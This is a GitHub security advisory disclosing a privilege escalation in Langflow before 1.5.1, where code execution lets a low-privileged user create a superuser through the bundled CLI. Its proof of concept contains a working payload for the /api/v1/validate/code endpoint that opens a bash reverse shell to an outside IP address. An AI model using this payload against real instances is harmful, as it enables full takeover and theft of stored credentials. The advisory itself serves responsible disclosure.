Skip to content

Privilege Escalation via CLI Superuser Creation (Post-RCE)

High
jordanrfrazier published GHSA-4gv9-mp8m-592r Aug 25, 2025

Package

langflow

Affected versions

< 1.5.1

Patched versions

None

Description

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

  1. Start container with LANGFLOW_ENABLE_AUTH set to True.
  2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)
image
  1. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}
  1. Inside reverse shell, create superuser:
image
  1. Log into UI as new superuser:
image

Impact

  • Privilege escalation to superuser — complete takeover of the Langflow instance
  • Access to all user data, flows, stored credentials, and configuration
  • Credential leakage — attacker can extract third-party API keys
  • Exposure of environment variables (inside docker container)
  • Ability to run additional Langflow instances via langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.
  • Full user management — superuser can delete other users, reset their passwords

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-57760

Weaknesses

Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

Credits